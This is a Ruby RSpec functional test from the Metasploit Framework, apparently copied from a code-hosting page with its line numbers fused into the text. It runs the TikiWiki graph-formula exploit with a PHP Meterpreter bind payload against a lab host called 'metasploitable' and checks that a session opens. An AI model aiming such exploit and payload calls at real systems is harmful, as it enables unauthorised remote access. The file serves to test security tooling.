Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/test/functional/meterpreter/meterpreter_php_spec.rb
Views: 11777
$:.unshift(File.join(File.dirname(__FILE__)))1$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))2$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'test', 'lib'))34require 'fileutils'5require 'meterpreter_spec_helper'6require 'meterpreter_specs'78module MsfTest9describe "PhpMeterpreter" do10# This include brings in all the spec helper methods11include MsfTest::MeterpreterSpecHelper1213# This include brings in all the specs that are generic across the14# meterpreter platforms15include MsfTest::MeterpreterSpecs1617before :all do18@verbose = true1920@meterpreter_type = "php"2122## Set up an outupt directory23@output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}")2425if File.directory? @output_directory26FileUtils.rm_rf(@output_directory)27end2829Dir.mkdir(@output_directory)30@default_file = "#{@output_directory}/default"3132create_session_php33end3435before :each do36end3738after :each do39@session.init_ui(@input, @output)40end4142after :all do43FileUtils.rm_rf(@output_directory)44end4546def create_session_php47## Setup for php48@framework = Msf::Simple::Framework.create4950@exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec'51@payload_name = 'php/meterpreter/bind_tcp'52@input = Rex::Ui::Text::Input::Stdio.new53@output = Rex::Ui::Text::Output::File.new(@default_file)5455# Initialize the exploit instance56exploit = @framework.exploits.create(@exploit_name)5758## Fire it off against a known-vulnerable host59@session = exploit.exploit_simple(60'Options' => { 'RHOST' => "metasploitable" },61'Payload' => @payload_name,62'LocalInput' => @input,63'LocalOutput' => @output64)6566puts @session.inspect6768## If a session came back, try to interact with it.69if @session70@session.load_stdapi71else72raise Exception "Couldn't get a session!"73end74end75end76end777879